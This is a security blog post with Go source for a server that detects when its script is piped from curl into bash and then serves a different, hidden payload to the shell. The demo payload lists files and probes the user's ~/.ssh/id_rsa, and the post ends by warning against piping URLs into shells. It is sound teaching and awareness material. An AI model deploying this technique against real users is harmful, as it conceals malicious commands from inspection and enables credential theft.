Detecting Pipe to Shell using Go
A few months ago I came across an article about the detection of the curl | bash
pattern using sleep statements in the returned shell code, written by phil on his
blog “Application Security”. After reading the article I wanted to create a own
version, which does not rely on sleep statements in the code, but instead uses
another curl request in the returned script.
Background Information
To give some background knowledge how this is possible and what is required to build such a server, I will repeat the most important aspects of the behavior. If you are interested in the background more in-depth, I would recommend to read the referenced article.
When piping curl
to bash
or another shell of your choice, the commands get
executed line by line. When the server sends a line of curl <URL>
, the client will wait
with the consumption of further packets from the server until the commands within
that line are executed and then pass the next line to bash over the pipe.
Additionally, send and receive buffers on Linux have to be taken into consideration,
which buffer the contents per socket connection. Before the curl
command is passed
to the shell, the receive buffer has to be filled with a character that is not visible
in the shell. The only character in this case is the null byte 0x00
.
This means we can serve a script that contains a curl
statement at the beginning
and check whether that command is executed until sending the remaining content,
allowing us to send different content when our script is piped into a shell or not.
Creation of a modified Server
Armed with some background information, we can now continue by creating a server
implementing what we described above. This example is implemented using Go
, but it would
work of course with most other languages as well.
First, we require a web server serving two routes:
- /script: Serving our shell script / fake installer
- /verify: Returning a checksum; Requested from our served script from the
/script
endpoint
We continue to create a struct for the fake server, storing the listening address, remote address of the server and some additional variables, which are explained later:
type detectionServer struct {
Addr string
RemoteURL string
WaitTime int64
PayloadShell string
PayloadDefault string
server *http.Server
receivedVerify chan (bool)
bufrw *bufio.ReadWriter
}
func (d *detectionServer) ListenAndServe() error {
d.receivedVerify = make(chan bool)
mux := http.NewServeMux()
mux.HandleFunc("/script", d.handlerScript)
mux.HandleFunc("/verify", d.handlerVerify)
d.server = &http.Server{
Addr: d.Addr,
Handler: mux,
ReadTimeout: 10 * time.Second,
WriteTimeout: 10 * time.Second,
MaxHeaderBytes: 1 << 20,
}
return d.server.ListenAndServe()
}
The snippet above creates a web server, listening on the provided address with
two defined routes. Next we will create the handler for our /script
endpoint.
The following code shows the creation of the handlerScript
function and contains
comments explaining its functionality:
func (d *detectionServer) handlerScript(w http.ResponseWriter, r *http.Request) {
log.Println("script handler - start")
//Hijack Connection, allowing us direct access to the TCP socket
hijacker, _ := w.(http.Hijacker)
conn, bufrw, err := hijacker.Hijack()
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
defer conn.Close()
//Store Buffered ReadWriter in our struct
d.bufrw = bufrw
//Send response parts (see below)
d.sendResponseHeaders()
d.sendTrigger()
d.sendSpacing()
//ToDo: Do stuff
log.Println("script handler - end")
}
//sendResponseHeaders sets manually the response headers of our request, defining
//that the request response will be chunked
func (d *detectionServer) sendResponseHeaders() {
d.bufrw.WriteString("HTTP/1.1 200 OK\n")
d.bufrw.WriteString("Host: localhost\n")
d.bufrw.WriteString("Transfer-type: chunked\n")
d.bufrw.WriteString("Content-Type: text/plain; charset=utf-8\n\n")
d.bufrw.Flush()
}
//sendTrigger sends the first part of our payload to the client, containing
//a curl request to our verify endpoint
func (d *detectionServer) sendTrigger() {
d.bufrw.WriteString("echo \"Getting Checksum to verify binary...\";\n")
d.bufrw.WriteString("checksum=$(curl -sS " + d.RemoteURL + "/verify;)\n")
d.bufrw.Flush()
}
//sendSpacing sends the null bytes to fill up the receive buffer on the target
//machine. The number 87380 is chosen based on the default configuration of
//Ubuntu 16.04 and may have to be adapted
func (d *detectionServer) sendSpacing() {
d.bufrw.WriteString(strings.Repeat("\x00", 87380))
d.bufrw.Flush()
}
When this endpoint is now opened via a web browser or curl, nothing will happen aside from showing the two lines of the response. As next step the verify endpoint has to be created:
func (d *detectionServer) handlerVerify(w http.ResponseWriter, r *http.Request) {
log.Println("verify handler - start")
io.WriteString(w, "d8e8fca2dc0f896fd7cb4cb0031ba249")
d.receivedVerify <- true
log.Println("verify handler - end")
}
This endpoint does two things:
- Return a random md5 checksum as response
- Send a boolean into the channel, providing notification for the request to the routes
Last but not least, the functionality for the detection of the pipe to shell itself is added in the ToDo section of the script handler:
func (d *detectionServer) handlerScript(w http.ResponseWriter, r *http.Request) {
//[...]
select {
case <-d.receivedVerify:
d.sendPayloadShell()
case <-time.After(d.WaitTime):
d.sendPayloadDefault()
}
//[...]
}
func (d *detectionServer) sendPayloadShell() {
log.Println("Received verify request while waiting, assuming we get piped into a shell")
d.bufrw.WriteString(d.PayloadShell)
}
func (d *detectionServer) sendPayloadDefault() {
log.Println("No Request received in the last two second, assuming no pipe to shell...")
d.bufrw.WriteString(d.PayloadDefault)
}
The select will block until one of the channels sent a value, which is either the case
after N
seconds passed or our verify request got called. If the verify route was
called before N
seconds passed, it’s safe to assume that the script is directly piped
into a shell instance. Otherwise, one can assume that its a web browser, curl or wget
making the request.
Now after we got everything set up, we create some code which creates an instance
of our detectionServer
serving two different payloads depending whether a pipe
to bash is detected or not:
func main() {
payloadDefault := "echo \"Checksum found: ${checksum}\";\n"
payloadShell := "echo \"Checksum found: ${checksum}\";\n" +
"ls -la;\n" +
"file ~/.ssh/id_rsa;\n"
server := &detectionServer{
Addr: ":10000",
RemoteURL: "http://localhost:10000",
WaitTime: time.Second * 2,
PayloadDefault: payloadDefault,
PayloadShell: payloadShell,
}
log.Fatal(server.ListenAndServe())
}
Demonstration
After starting the server, we are making an HTTP request to the /script
endpoint
with wget
and curl
:
The following log output is created when executing the commands above:
2016/10/29 19:39:18 script handler - start
2016/10/29 19:39:19 No Request received in the last two second, assuming no pipe to shell...
2016/10/29 19:39:19 script handler - end
2016/10/29 19:39:24 script handler - start
2016/10/29 19:39:24 No Request received in the last two second, assuming no pipe to shell...
2016/10/29 19:39:24 script handler - end
2016/10/29 19:39:29 script handler - start
2016/10/29 19:39:29 verify handler - start
2016/10/29 19:39:29 verify handler - end
2016/10/29 19:39:29 Received verify request while waiting, assuming we get piped into a shell
2016/10/29 19:39:29 script handler - end
2016/10/29 19:39:33 script handler - start
2016/10/29 19:39:33 verify handler - start
2016/10/29 19:39:33 verify handler - end
2016/10/29 19:39:33 Received verify request while waiting, assuming we get piped into a shell
2016/10/29 19:39:33 script handler - end
The first and second request print the payloadDefault
of our server, since the
second request is not executed. The third and fourth request however return the payloadShell
contents, since the second request to the verify endpoint is executed and our handlerScript
function notified.
Limitations
The code and method itself have various limitations. While the method described in
the referenced article using a sleep
in front of a cat
command will not help
to detect this technique, piping the output to an editor like vim or cat -v
will
display the sent null bytes:
wget -O - http://localhost:10000/script -q | cat -v
Additionally, the code itself right now is only able to serve a single client and
would fail if two clients accessed it at the same time and has to be extended to
fingerprint the client and map the verify request to the related script request.
The WaitTime
has to be adjusted in case the connecting client has a slow network
connection, even though 2 seconds should be fine for most scenarios.
Conclusion
This once again shows that piping random URLs into your shell is a bad idea. Aside from traditional MitM attacks there are various other techniques to detect the pattern server-side and respond with different content. When there is no version available in your distro repositories, download the script manually and validate its content before executing it.
In case you are interested in the full source code, you can find it in the following Github Repository.